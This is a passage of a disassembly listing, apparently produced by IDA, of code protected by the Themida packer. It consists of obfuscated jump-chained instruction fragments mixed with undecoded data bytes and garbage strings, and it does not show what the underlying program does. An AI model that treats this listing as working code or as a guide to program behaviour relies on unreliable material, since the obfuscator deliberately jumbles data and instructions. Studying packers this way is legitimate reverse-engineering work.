		dd 0E789243Ch, 0BB29E9h, 59CE8900h, 348BF229h, 5099E924h
		dd 0E8010000h, 0F579A02Dh, 242C8B6Fh, 4C481h, 1E680000h
		dd 8900003Ah, 17BA2414h, 0E9677DB0h, 97Ch, 62B468h, 817CE900h
		dd 48B0000h, 4C48124h, 0
		dd 7FE95BF8h, 5E000091h, 106D68h, 24348900h, 0F668E689h
		dd 89000055h, 0D5E9240Ch, 0C1h,	1C8B5BF8h, 92E95724h
		db 0C1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F6C63:				; CODE XREF: Themida_:00601C52j
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5FF890
; ---------------------------------------------------------------------------
		dd 8958C231h, 0B1DE9D3h, 0E9530000h, 4179h, 0C5E6D1BBh
		dd 1CFFE98Ch, 0C4830000h, 243C8704h, 0E924248Bh, 52C2h
		dd 2148C281h, 0EAC11B47h, 0BFEA8108h, 0E9E3B95Bh, 24C4h
		dd 0E9242C89h, 0A4B7h, 0A65E0E05h, 7EA92D4Fh, 752D2ED9h
		dd 8B46033Eh, 0C481242Ch, 4, 0E953C331h, 91FCh,	2EBC15Bh
		dd 342AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5F6CDD:				; CODE XREF: Themida_:005FF8FDj
		mov	ebp, esp
		jmp	loc_5FE4CB
; ---------------------------------------------------------------------------
		dd offset dword_4E6E9C+52E4h
		dd 0F48059CCh, 58E728F6h, 40C480h, 9FBAE9FCh, 0FF510000h
		dd 148B2434h, 668FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F6D06:				; CODE XREF: Themida_:006019DCj
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	eax, 48FF2231h
		push	edx
		push	ebp
		push	ecx
		jmp	loc_600FE8
; ---------------------------------------------------------------------------


loc_5F6D1F:				; CODE XREF: Themida_:005FF233j
		xchg	ebp, [esp]
		pop	esp
		and	eax, ecx
		jmp	loc_6011BB
; ---------------------------------------------------------------------------


loc_5F6D2A:				; CODE XREF: Themida_:005FE4DDj
		pop	esp
		push	1082h
		mov	[esp], edi
		push	ebx
		sub	esp, 4
		jmp	loc_600D9A
; ---------------------------------------------------------------------------
		db 54h
		dd 8324148Bh, 13E904C4h
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F6D4B:				; CODE XREF: Themida_:005F6FACj
		not	edi
		xchg	edi, esi
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		jmp	loc_5FDDAF
; ---------------------------------------------------------------------------


loc_5F6D5A:				; CODE XREF: Themida_:005F916Bj
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5FC1E6
; ---------------------------------------------------------------------------
		db 0FEh, 4, 24h
		dd 0FBC9E99Ch, 0CF00FFFFh, 7EFC059h, 80D2EF80h,	8EE9B9CFh
		db 6Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F6D8B:				; CODE XREF: Themida_:005FD9FCj
		mov	eax, 65987137h
		jmp	loc_5F9085
; ---------------------------------------------------------------------------
		db 59h,	81h, 0C1h
		dd 6801E25Dh, 27460E05h, 2F08E976h, 805A0000h, 0C3287EC3h
		dd 667EEB80h, 0EC815051h, 4, 0B1240C89h, 59C88856h, 97D6E9h
		dd 6DE95900h
		db 28h,	2 dup(0)
byte_5F6DCB	db 0FFh			; DATA XREF: Themida_:005F6730o
a4Ysfi		db '4$YI',0
		align 4
		dd 77DDF381h, 0B850519Ch, 1B2B6E4Ch, 0F750D8F7h, 5582414h
		dd 162118B6h, 0E51BBD55h, 0E8013BA9h, 58C3095Dh, 0E902EBC1h
		dd 6547h
; ---------------------------------------------------------------------------


loc_5F6E00:				; CODE XREF: Themida_:005FC05Bj
		push	ebx
		mov	ebx, 0E822785h
		and	ebp, ebx
		jmp	loc_60241D
; ---------------------------------------------------------------------------
byte_5F6E0D	db 0FFh, 77h, 38h	; DATA XREF: Themida_:005F673Co
		dd 3AC4E9h, 81E58900h, 4C5h, 4EC8100h, 0E9000000h, 308Dh
		dd 50C0E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F6E2E:				; CODE XREF: Themida_:005FD937j
		mov	[esp], ecx
		mov	ecx, ebx
		push	ecx
		jmp	loc_5F96DB
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0E9h
		dd 7BC211BDh, 64E9515Fh, 8300009Eh, 0C3304E9h, 240C3124h
		dd 5C240C33h, 54243C89h, 81243C8Bh, 4C4h, 4C78100h, 83000000h
		dd 3C3304EFh, 243C3124h, 5C243C33h, 0E9240489h,	0FFFFFAC7h
		dd 0BBB535Bh, 4378D50Fh, 1DEFEB81h, 814B07CFh, 0FE479CCBh
		dd 0C381437Bh, 0CBBC7DCFh, 98E9DF01h, 8800001Fh, 0E0E95BDAh
		dd 8100008Ch, 22CA1CC3h, 0DA8952ABh, 5B5AD589h,	8246C29h
		dd 90E95E5Dh
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5F6EBF:				; CODE XREF: Themida_:005F7B36j
		push	eax
		jmp	loc_601ACA
; ---------------------------------------------------------------------------
		db 1, 0C1h, 0E9h
		dd 313Eh
dword_5F6ECC	dd 56E18951h, 0F76234BEh, 35D86856h, 0C890000h,	536DE924h
					; DATA XREF: Themida_:005F6848o
		dd 0D5F70000h, 247EE581h, 0E5C127F7h, 1FBE907h,	14870000h
		dd 24248B24h, 9C242CD3h, 0FFFA42E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F6F01:				; CODE XREF: Themida_:005FEE5Bj
		mov	edi, 6BB438E4h
		neg	edi
		jmp	loc_5FA541
; ---------------------------------------------------------------------------
		db 66h,	0BAh, 58h
		dd 0B966511Ah, 816637A7h, 66293DC1h, 6EE9CA01h,	0BA000056h
		dd 4C266117h, 8A4FE9h, 4C846800h, 24890000h, 24048124h
		dd 4, 8B2434FFh, 0C481241Ch, 4,	0E9E08950h, 8134h, 0C681DEF7h
		dd 0F9149DAEh, 348BF231h, 4C48124h, 50000000h, 56E9D089h
		dd 5E0000B5h, 0FFFD09E9h, 0A2B252FFh, 88525366h, 5AF388EEh
		dd 8850D588h, 0E9E288DCh, 50D8h, 8046CF80h, 0F9306DF7h
		dd 53241C8Bh, 0C381E389h, 4, 4C381h, 1C870000h,	8C1BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F6FAA:				; CODE XREF: Themida_:00601243j
		xchg	edi, esi
		jmp	loc_5F6D4B
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 0Ah
		dd 28CBC380h, 47F4E9C3h, 0E5880000h, 0C8BEF88h,	4C48124h
		dd 8B000000h, 0C4832404h, 244C8A04h, 247C8802h,	0E95B6602h
		dd 0FFFFF963h
; ---------------------------------------------------------------------------


loc_5F6FE0:				; CODE XREF: Themida_:005FC6E2j
		pop	esi
		xor	ecx, 1CC25840h
		jmp	loc_5FBACC
; ---------------------------------------------------------------------------
		dd 0FD31EF31h, 0C781EF31h, 5FE8200Ah, 3F48F781h, 43E90D17h
		db 0AFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F7003:				; CODE XREF: Themida_:005FFD5Fj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		mov	dh, 0F5h
		jmp	loc_5F8A4B
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0B9240C89h, 124F403Dh, 0B0E9C801h, 880000A7h, 241C8BD9h
		dd 4C481h, 4A040000h, 0C828F82Ch, 4A2CF804h, 66595966h
		dd 6672A968h, 0B6241489h, 3CACE97Fh, 34870000h,	5413E924h
		dd 2C8B0000h, 4C48124h,	56000000h, 4EC81h, 64E90000h
		db 86h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F7067:				; CODE XREF: Themida_:005F7F7Cj
		push	eax
		push	esp
		pop	eax
		jmp	loc_5FFA45
; ---------------------------------------------------------------------------


loc_5F706F:				; CODE XREF: Themida_:005FFC52j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		add	edx, ebp
		jmp	loc_5F9659
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 87000000h, 248B2414h, 0AEBA5224h, 0E94C6E09h, 81A8h
		dd 0CE80EED0h, 0F5EE80EDh, 0D05AF100h, 8044E9E1h, 0F0B60000h
		dd 0CEFED6F6h, 88F5EE80h, 0E7805AF7h, 89C78013h, 8000B450h
		dd 0E728FFC4h, 7ED0E9h,	533EB400h, 88E28852h, 0C8E95AD3h
		dd 0F6FFFFFDh, 1ACB80DBh, 4786E9h, 48F5B00h, 24248B24h
		dd 36A2E9h, 0D9CD8100h,	8110D40Ch, 0D40DD5EDh, 9D88E9F3h
		dd 0C0BA0000h, 0BD304D60h, 53717913h, 5E2EE9h, 2BE95E00h
		dd 5D000079h, 63DD68h, 243C8900h, 0E950E789h, 0BE25h, 4B5DEB31h
		dd 8107E3C1h, 0B36B7FEBh, 9AE6E96Fh, 0ED810000h, 5BE5372Ch
		dd 2C8BE801h, 4C48124h,	5000000h, 2, 8B240487h,	8B662424h
		dd 0E0682404h, 8900006Fh, 0E189240Ch, 4C181h, 0E9810000h
		dd 4, 0E9240C87h, 0BAC8h, 8904EC83h, 0D0BA2414h, 81363F5Eh
		dd 8673F8E2h, 6E2C131h,	0BA4E9h, 0E9815900h, 195E3F0h
		dd 0F759C889h, 6E48E9D0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F719E:				; CODE XREF: Themida_:00602934j
		dec	eax
		push	ebx
		mov	ebx, 3B98657Ch
		and	ebx, 49F17B05h
		jmp	loc_5FF93C
; ---------------------------------------------------------------------------
		dd 4FB85053h, 502C0F18h, 0CC243481h, 5B178D07h,	7CCF381h
		dd 8958178Dh, 2434FFDEh, 4C4815Bh, 0E9000000h, 0B857h
; ---------------------------------------------------------------------------


loc_5F71D8:				; CODE XREF: Themida_:005FC071j
		push	eax
		mov	eax, 5AF552E7h
		jmp	loc_5F9E9D
; ---------------------------------------------------------------------------
aRssbo		db 'RSo',0
		align 2
		dw 0CE88h
		dd 8A5AF388h, 8802244Ch, 6602245Ch, 96BEE95Bh, 0C1810000h
		dd 76B029B2h, 0E981D101h, 76B029B2h, 74FF515Ah,	8F590424h
		dd 8B5C2404h, 7D682404h, 89000075h, 0E589242Ch,	61BDE950h
		dd 815E0000h, 4C6h, 0BBE95000h
		db 77h,	2 dup(0)
byte_5F7237	db 0FFh			; DATA XREF: Themida_:005F688Co
		dd 48B2434h, 4C48124h, 0E9000000h, 59D7h
; ---------------------------------------------------------------------------


loc_5F7248:				; CODE XREF: Themida_:005F9067j
		sub	ebx, 32045DDh
		add	ebx, edx
		jmp	loc_5FC958
; ---------------------------------------------------------------------------
		db 0B8h, 4, 0
		dd 44810000h, 6F60424h,	44014585h, 6C810424h, 6F60424h
		dd 59584585h, 4C181h, 0B8500000h, 4, 8758C101h,	0CE9240Ch
		dd 8000003Ch, 0D6F66BEEh, 285FC680h, 35E95AF3h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F7297:				; CODE XREF: Themida_:0060045Aj
		push	eax
		mov	eax, 16636B1Dh
		jmp	loc_5FB9F4
; ---------------------------------------------------------------------------


loc_5F72A2:				; CODE XREF: Themida_:005FD209j
		add	esp, 4
		jmp	loc_5FF85C
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 0E905EEC1h, 4317h,	2434FF59h, 4C4835Bh, 4EC81h
		dd 0C890000h, 69E95424h, 50000060h, 4B8h, 2C5FE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F72DA:				; CODE XREF: Themida_:005FE03Dj
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_5F9097
; ---------------------------------------------------------------------------
word_5F72EE	dw 8B66h		; DATA XREF: Themida_:005F689Co
		dd 8350240Ch, 248904ECh, 24048324h, 0BB535804h,	4, 0E9E9D801h
		dd 10000A0h, 3832E9D0h,	815C0000h, 4C6h, 4EC8300h, 0BF243C89h
		dd 4, 12A9C681h, 0EE815CA3h, 54E440DAh,	7F71E9h
		db 0
; ---------------------------------------------------------------------------


loc_5F7335:				; CODE XREF: Themida_:005FCFB1j
		shl	bh, 8
		and	bh, 33h
		xor	bh, 79h
		push	edx
		mov	dl, bh
		push	ebx
		mov	bl, dl
		mov	ch, bl
		pop	ebx
		pop	edx
		jmp	loc_5F9C91
; ---------------------------------------------------------------------------
		db 31h,	0D7h, 5Ah
		dd 875FF929h, 665C240Ch, 66240C89h, 66C8B60Fh, 0DCE99C51h
		dd 5CFFFFF5h, 44FD68h, 243C8900h, 0C51D5BFh, 5FFB294Eh
		dd 8494E9h, 4C48100h, 0E9000000h, 0FFFFFC00h, 8103E5C1h
		dd 32998CDh, 0B9ED8145h, 815B766Ah, 16704AEDh, 0F1F58129h
		dd 89E0EE8Eh, 0C5015DE8h, 44F9E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F73AE:				; CODE XREF: Themida_:005FFA77j
		mov	edi, 0E711B242h
		add	ebx, edi
		pop	edi
		jmp	loc_6000D0
; ---------------------------------------------------------------------------
aBuA2ysv	db ')΁ A2YV$',0
		db 0
; ---------------------------------------------------------------------------


loc_5F73C9:				; CODE XREF: Themida_:005FC21Aj
		sub	eax, edx
		push	esi
		mov	esi, 60536ACBh
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		sub	eax, 26003Ah
		jmp	loc_600774
; ---------------------------------------------------------------------------


loc_5F73E6:				; CODE XREF: Themida_:005F8907j
		mov	[esp], ecx
		push	542030C3h
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 542030C2h
		push	esi
		mov	esi, ecx
		push	esi
		xor	dword ptr [esp], 3AE524D8h
		pop	edx
		jmp	loc_5FE110
; ---------------------------------------------------------------------------
		db 89h
		dd 4EC83E0h, 0E9241C89h, 4DF5h,	0D7AC681h, 0EE81750Eh
		dd 17338DB6h, 6C43EB81h, 0F301584Bh, 6C43C381h,	15E584Bh
		dd 0EC8355D3h, 241C8904h, 0A72467BBh, 8D6E961h
		db 2 dup(0)
word_5F7446	dw 34FFh		; DATA XREF: Themida_:005F68D4o
aXsnv		db '$Xv',0
		dw 8F00h
aG@s_		db 'G@.',0
		dw 8900h
		dd 0C5E92404h, 5B000056h, 0B9EAE9h, 72F18000h, 44ADE950h
		dd 3C8B0000h, 272DE924h, 0EC830000h, 24048904h,	0C21532B8h
		dd 46AE350Ah, 82E92CCBh, 66000017h, 0E1E9D1F7h,	5A0000B4h
		dd 0EFE9CD01h, 0C0000072h, 0E9E908E7h
		db 0F6h, 2 dup(0FFh)
byte_5F74A3	db 66h			; DATA XREF: Themida_:005F6844o
		dd 83240C8Bh, 148904ECh, 148B5424h, 4C48324h, 4C281h, 56550000h
		dd 4BEh, 5EF58900h, 875DEA29h, 1BE92414h, 8BFFFFF7h, 0E956242Ch
		dd 508Dh, 9C2404D2h, 9BA8E9h, 3C875900h, 0B8505C24h, 2D356853h
		dd 36E9C531h, 2800009Ah, 286CE9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F74FA:				; CODE XREF: Themida_:005FCDE9j
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5FFA70
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0EC68C8BEh, 8900001Ch, 71E9240Ch, 0BA000027h, 9881DB0h
		dd 2728E281h, 9E9588Eh,	0BF00002Fh, 0F2533DAh, 36C4EF81h
		dd 0BD557E91h, 4CF33EF7h, 84E6E9h, 6CEE8100h, 0E965E37Dh
		dd 4166h, 2AE9F589h, 5B00000Eh,	80F6B450h, 0F48020E4h
		dd 0FECCFE2Ah, 67EC80C4h, 5258E120h, 4CE972B2h,	0F700008Eh
		dd 0D1D7F7DFh, 0C4E781EFh, 81416D6Ah, 7F0DC7F7h, 36EE81CAh
		dd 0E9154A7Bh, 8F9h, 2A685152h,	5942C56Eh, 29C7E949h, 0CF290000h
		dd 0B1C78159h, 0E9592A5Ah, 8B2h, 0A72D982Dh, 1FBF5705h
		dd 57442A77h, 5F241CF7h, 0BA52D7F7h, 4278FB16h,	8087E9h
		dd 0F4E95B00h, 810000ABh, 4C4h,	0AAB75300h, 76CC6852h
		dd 1C890000h, 0E998B724h, 0A77Eh
; ---------------------------------------------------------------------------


loc_5F75DC:				; CODE XREF: Themida_:00600CD9j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ecx
		push	44DDh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	eax
		mov	eax, esp
		jmp	loc_5FA377
; ---------------------------------------------------------------------------
aAasR		db 'a',27h,'',0
		align 4
		dd 89241489h, 131268E2h, 3C890000h, 300EBF24h, 0EF812D3Fh
		dd 0D771678h, 7314F781h, 9FE9155Ch, 0B9000076h,	622B3964h
		dd 0EE9CE21h, 8300007Dh, 43302C0h, 24043124h, 0E9240433h
		dd 23A6h, 4C681h, 0E6E90000h
		db 99h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F765F:				; CODE XREF: Themida_:005F8319j
		mov	esi, 46F51EBEh
		push	edi
		push	38A8534Ch
		pop	edi
		xor	edi, 390A1C35h
		sub	edi, 48976E38h
		mov	ecx, edi
		pop	edi
		xor	ecx, esi
		pop	esi
		sub	[edi+24h], ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5FD916
; ---------------------------------------------------------------------------


loc_5F7689:				; CODE XREF: Themida_:005FF897j
		jmp	loc_5FF26B
; ---------------------------------------------------------------------------
		dw 489h
		dd 0F4A0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F7696:				; CODE XREF: Themida_:00602777j
		sub	edi, 6AE67BFAh
		dec	edi
		add	edi, 56D15A81h
		add	edi, 140DE845h
		sub	edx, 51495942h
		sub	edx, edi
		add	edx, 51495942h
		jmp	loc_5FC2B6
; ---------------------------------------------------------------------------
dword_5F76BC	dd 0FF2434FFh, 59E92434h		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F76C7:				; CODE XREF: Themida_:005FA4DEj
		inc	cl
		add	cl, 1
		neg	cl
		jmp	loc_601392
; ---------------------------------------------------------------------------
		db 81h
		dd 0A21839C1h, 7DC18150h, 1255E69h, 7DE981D1h, 81255E69h
		dd 0A21839E9h, 0E5E95A50h, 0E9000046h, 0FFFFF24Bh, 83242C8Bh
		dd 0F82904C4h, 70BEE9h,	4C48100h, 51000000h, 0BE56E189h
		dd 1D830EABh, 4E03E6C1h, 5A51F681h, 0E957253Fh,	884Dh
		dd 81E68956h, 4C6h, 4C68100h, 87000000h, 565C2434h, 0DA1328BEh
		dd 3CFCE978h, 4890000h,	50A7B824h, 7B2D35AEh, 0F733D93Bh
		dd 0C2BE56D8h, 210FFE00h, 6E43E9F0h, 89660000h,	52E9240Ch
		dd 8B00003Ah, 0E5E92424h, 0BF000057h, 50DE062Fh, 7A0AB951h
		dd 81411B5Ah, 7C73DCE9h, 59CF29CAh, 82FFE9h, 240C3300h
		dd 33240C31h, 0FE9240Ch, 5A000021h, 0C6E9DA01h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F779F:				; CODE XREF: Themida_:00600845j
		mov	[esp], eax
		mov	eax, 5F41577Ch
		jmp	loc_5F8EAE
; ---------------------------------------------------------------------------


loc_5F77AC:				; CODE XREF: Themida_:005FA3F6j
		shr	edi, 7
		jmp	loc_5FE973
; ---------------------------------------------------------------------------
		dd 0E968F680h, 0FFFFF8DCh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5FA7FE
; ---------------------------------------------------------------------------
		dd 48BC701h, 4C48124h, 33000000h, 3C31243Ch, 243C3324h
		dd 0E924248Bh, 272Dh
; ---------------------------------------------------------------------------


loc_5F77E0:				; CODE XREF: Themida_:005FCD33j
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5FFDD6
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 3780305h, 8159CB31h,	0BD3501F3h, 5BD901F1h, 0FFF642E9h
		dd 24248BFFh, 9C2424D3h, 0FFF132E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F7811:				; CODE XREF: Themida_:005F8C3Ej
		mov	edx, esp
		push	ebx
		mov	ebx, 19EB38EEh
		or	ebx, 7AEB4780h
		and	ebx, 7F1C71E1h
		dec	ebx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5F8F12
; ---------------------------------------------------------------------------
		db 2Dh,	2Eh, 0F5h
aAdsem		db 'De',0
		dw 5100h
aX__iSk		db 'X_.k',0
		align 4
		dd 2726B951h, 0B8506902h, 79444EB9h, 69B5BB53h,	0EB815D0Dh
		dd 0FCF13D7Ah, 0F61E9h,	241C8B00h, 0E904C483h, 762Bh, 4C481h
		dd 0E9500000h, 3B2Ah, 0E2E9FC88h, 89FFFFFFh, 8E95DEEh
		dd 5A000004h, 4C481h, 55520000h, 9E095868h, 0DDF75D63h
		dd 0F8CBF581h, 0EA89DBF0h, 167E9h, 89525C00h, 4BB53E2h
		dd 1000000h, 9E1CE9DAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F78BA:				; CODE XREF: Themida_:005FCB1Fj
		push	dx
		jmp	loc_5FC4F6
; ---------------------------------------------------------------------------


loc_5F78C1:				; CODE XREF: Themida_:005FF8CAj
		shr	esi, 8
		sub	esi, 31154DB1h
		sub	esi, 58B04A20h
		xor	esi, 355EF264h
		xor	eax, esi
		jmp	loc_5FD8E8
; ---------------------------------------------------------------------------


loc_5F78DD:				; CODE XREF: Themida_:005FB9B0j
		add	edi, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_5FBFF9
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 2C18300h, 0FFFE90E9h
		db 0FFh
byte_5F78F9	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005F66C0o
		dd 3CE95258h, 89FFFFF4h, 0F0682434h, 89000052h,	4812424h
		dd 424h, 24348B00h, 4C481h, 0BF570000h,	4, 8904EC83h, 6FBB241Ch
		dd 812F4E3Ah, 7C5610C6h, 0E9DE012Bh, 4789h, 303BBD55h
		dd 0E5816EEBh, 74187F70h, 1D25E581h, 0C5813DE3h, 7145064Eh
		dd 64C9E9h, 0C4835800h,	0E3895304h, 163BF57h, 0F7810897h
		dd 46864F02h, 7621E781h, 0D7F7295Ah, 0B9DAEF81h, 0FB01F7EFh
		dd 4C3835Fh, 2474FF53h,	48F5B04h, 24248B24h, 81E68956h
		dd 4C6h, 4C68300h, 8B243487h, 33E92424h, 5A0000A1h, 8102EFC1h
		dd 0DFFE84C7h, 0F9BF57F8h, 0E931BF6Bh, 5129h
; ---------------------------------------------------------------------------


loc_5F79B8:				; CODE XREF: Themida_:00600299j
		not	esi
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_5F8C32
; ---------------------------------------------------------------------------
aYsI		db 'YЈ',0
		align 2
		dw 481h
		dd 0FB098324h, 8483E95Fh, 0BA520000h, 7BC8673Ch, 2B468h
		dd 243C8900h, 6A85E9h, 1C8B5A00h, 4C48124h, 81000000h
		dd 0FB2D30C2h, 81FA014Bh, 0FB2D30EAh, 0B9514Bh,	0E9000000h
		dd 0EBFh, 0E281425Dh, 0C3A23D1h, 8747E9h
		db 0
; ---------------------------------------------------------------------------


loc_5F7A1D:				; CODE XREF: Themida_:005FE56Fj
		mov	esi, 0E507013h
		mov	ebx, 5116DBFh
		xor	ebx, esi
		pop	esi
		mov	edx, 0F4BEE255h
		push	ebx
		mov	ebx, 16E91FFCh
		jmp	loc_600F11
; ---------------------------------------------------------------------------
		dw 0EB89h
		dd 245C015Dh, 91FFE904h
		db 2 dup(0)
word_5F7A46	dw 8B66h		; DATA XREF: Themida_:005F68F4o
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		push	esi
		push	edi
		mov	edi, 0BED374Ah
		jmp	loc_5FBA34
; ---------------------------------------------------------------------------


loc_5F7A62:				; CODE XREF: Themida_:005FDBBAj
		push	ebx
		push	eax
		jmp	loc_5FBA99
; ---------------------------------------------------------------------------


loc_5F7A69:				; CODE XREF: Themida_:00600F24j
		xor	ebx, esi
		pop	esi
		add	edx, ebx
		pop	ebx
		push	eax
		mov	eax, 42FB1F53h
		add	edx, eax
		pop	eax
		add	edx, ebx
		sub	edx, 42FB1F53h
		sub	edx, 53FF0FC1h
		mov	ebx, [esp]
		add	esp, 4
		add	[edi+24h], edx
		pop	edx


loc_5F7A90:				; CODE XREF: Themida_:00601404j
		push	4C6Eh
		mov	[esp], edx
		jmp	loc_5F9E3C
; ---------------------------------------------------------------------------


loc_5F7A9D:				; CODE XREF: Themida_:005FF72Bj
		push	ebp
		pop	ebx
		jmp	loc_5FAA8A
; ---------------------------------------------------------------------------
dword_5F7AA4	dd 207F83ADh, 0E7840F00h, 53000045h, 931ACEBBh,	6DEB8130h
					; DATA XREF: Themida_:005F6850o
		dd 814F511Dh, 0C4B463EBh, 5BDE0179h, 232C681h, 0EE812EA7h
		dd 6FB12368h, 0C681C601h, 6FB12368h, 815A5452h,	4C2h, 4EA8300h
		dd 2474FF52h, 48F5A04h,	8F21E924h, 148B0000h, 0E1895124h
		dd 4C181h, 0C1810000h, 4, 5C240C87h, 2B00BB53h,	0E3810FC2h
		dd 0EA129F2h, 50A0F381h, 0D8016175h, 0F0E0E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F7B22:				; CODE XREF: Themida_:005FC161j
		mov	[esp], ecx
		mov	ecx, 3393B46h
		xor	ecx, 13F33967h
		add	ecx, 47AF0824h
		jmp	loc_5F6EBF
; ---------------------------------------------------------------------------
aFiPsp		db 'f,$Pp>',0
		dd 91BA5200h, 564EED58h, 5D28F2BEh, 5EF20968h, 64CEE9h
		dd 0EDE5E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F7B5E:				; CODE XREF: Themida_:005FC2C0j
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 99E7A23h
		xor	edx, 18F52CE5h
		push	edx
		sub	dword ptr [esp], 60EF12F1h
		pop	eax
		jmp	loc_5FE7B0
; ---------------------------------------------------------------------------
		db 0FEh, 0CDh, 0F6h
		dd 0A9B753DDh, 74E9FD28h
		db 9Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F7B9B:				; CODE XREF: Themida_:005FD943j
		sub	eax, 256F1012h
		sub	eax, ebx
		add	eax, 256F1012h
		pop	ebx
		push	ecx
		jmp	loc_5FABDD
; ---------------------------------------------------------------------------
		dw 5368h
		dd 5A6D5F00h, 6D80EA81h, 0DAF74869h, 732FE9h
		db 0
byte_5F7BC1	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005F6824o
		dd 0FBF2E924h, 0E6C1FFFFh, 91E94E08h, 8700009Ah, 0E95C240Ch
		dd 31C1h
; ---------------------------------------------------------------------------


loc_5F7BDC:				; CODE XREF: Themida_:005F7D70j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_6003E7
; ---------------------------------------------------------------------------
byte_5F7BFF	db 0FFh			; DATA XREF: Themida_:005F669Co
		dd 48B2434h, 4C48324h, 1C8B5453h, 4C48324h, 4BF57h, 0BF570000h
		dd 610E1F29h, 0A07BEF81h, 0FB014F08h, 0ED77E95Fh, 8141FFFFh
		dd 237D3BF1h, 0E2F18158h, 8970020Eh, 0B85059C8h, 39EE4C94h
		dd 118BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5F7C45:				; CODE XREF: Themida_:005FEC99j
		add	ebx, 66B640BCh
		jmp	loc_602B52
; ---------------------------------------------------------------------------
		dd 71E9D6F7h, 59000007h, 168535Ah, 5B000000h, 78E9D821h
		dd 5600008Ah, 4FD0E9h, 0D0BF6600h, 0F7816639h, 896616F3h
		dd 26C3E9FDh, 69B80000h, 0E9DE714Ch, 0FFFFEFE8h, 895FFD29h
		dd 0E7E95DE9h, 100008Eh, 0C1835EF1h, 2CA1E904h,	0E9570000h
		dd 8F1Bh, 81241C8Bh, 4C4h, 24048F00h, 6624248Bh, 2404BB0Fh
		dd 2E5AE99Ch
		db 2 dup(0)
word_5F7CBE	dw 8B66h		; DATA XREF: Themida_:005F67E8o
		dd 0EE68240Ch, 8900002Dh, 0FE68241Ch, 89000025h, 0C5E92424h
		db 2Ch,	2 dup(0)
byte_5F7CD7	db 66h			; DATA XREF: Themida_:005F6690o
		dd 50240C8Bh, 0BA52E089h, 29831F2Ch, 528DB951h,	0C281391Ch
		dd 9957CA4h, 0EA81CA29h, 9957CA4h, 0F2814A59h, 0F066CC9Ah
		dd 7B700605h, 2DD00149h, 497B7006h, 0E924148Bh,	7CA0h
		dd 0E904E7C1h, 5892h, 393D1BBDh, 9E16E9FFh, 0EC810000h
		dd 4, 0A694E9h,	2EAC100h, 0FFEF5FE9h, 0BBE948FFh, 87000023h
		dd 57E92434h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F7D47:				; CODE XREF: Themida_:005FE060j
		sub	eax, 17485B94h
		add	eax, edi
		add	eax, 17485B94h
		add	eax, 14147201h
		push	ebx
